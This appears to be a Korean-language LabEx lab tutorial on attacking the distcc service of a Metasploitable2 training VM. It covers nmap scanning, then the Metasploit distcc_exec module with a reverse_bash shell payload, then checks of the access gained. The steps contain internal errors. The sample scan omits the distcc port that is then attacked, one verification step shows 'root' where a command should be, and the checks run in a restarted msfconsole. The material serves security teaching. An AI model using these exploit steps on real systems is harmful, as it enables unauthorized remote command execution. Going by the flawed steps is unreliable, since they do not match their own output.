Nmap 을 이용한 Metasploitable2 침투 테스트 수행

NmapBeginner
지금 연습하기

소개

이 랩에서는 Kali 터미널을 사용하여 LabEx 에서 제공하는 Metasploitable2 대상 머신에 대한 침투 테스트를 수행합니다. Distcc 서비스 공격의 원리와 프로세스를 이해하는 데 중점을 둡니다. 랩이 끝나면 권장 자료와 숙제가 제공됩니다.

랩 환경 시작

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 으로 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.

참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.

침투 테스트 수행

Distcc 서비스 취약점 원리:

Distcc 는 네트워크 서버에서 대규모 코드베이스의 분산 컴파일에 사용됩니다. 그러나 잘못 구성된 경우 명령 실행에 악용될 수 있습니다. 이 취약점은 서버 포트에 대한 접근 제한이 없기 때문에 XCode 1.5 및 기타 Distcc 2.x 버전에서 나타납니다.

간단히 말해, 이 서비스는 포트 및 실행된 작업에 대한 적절한 검사를 수행하지 않아 공격자가 분산 컴파일 작업을 활용하여 자체 명령을 실행할 수 있도록 합니다.

취약점 인덱스:

취약점 공격 모듈 코드:

먼저, msfconsole 을 시작하여 작업 인터페이스에 들어갑니다.

cd ~
msfconsole

Nmap 스캔 도구를 사용하여 대상 호스트에서 열린 포트를 스캔합니다.

nmap -sV -T4 192.168.122.102

다음은 표시될 수 있는 출력의 예입니다.

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

스캔 결과를 기반으로 공격하려는 포트 서비스에 해당하는 모듈을 검색합니다.

search distcc

Kali MSF 터미널에서 use 명령을 사용하여 적절한 모듈을 선택합니다.

use exploit/unix/misc/distcc_exec

그런 다음 show options 명령을 사용하여 모듈 매개변수를 표시합니다.

show options

다음은 표시될 수 있는 출력의 예입니다.

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

대상 호스트 매개변수 RHOST 를 192.168.122.102 로 설정합니다.

set RHOST 192.168.122.102

모든 설정이 완료되면 exploit 명령을 사용하여 호스트를 공격합니다.

exploit

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

침투 성공 확인

침투가 성공했는지 확인하려면 whoami, hostname, ifconfig (IP 주소 확인용) 명령을 사용합니다.

우선, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.

cd ~
msfconsole

현재 사용자를 확인합니다.

whoami

호스트 이름을 확인합니다.

root

침해된 호스트의 IP 주소를 확인합니다.

ifconfig

호스트 이름과 IP 주소가 대상 머신 (192.168.122.102) 과 일치하면 침투 테스트가 성공했음을 나타냅니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 Distcc 서비스 공격의 원리와 프로세스에 대해 배웠습니다. Nmap 침투 스캔, Metasploit 을 사용하여 Distcc 취약점을 악용하고 성공적인 침투를 확인하는 실습 경험을 얻었습니다. 이 랩은 취약점 분석 및 악용 기술에 대한 실질적인 이해를 제공했습니다.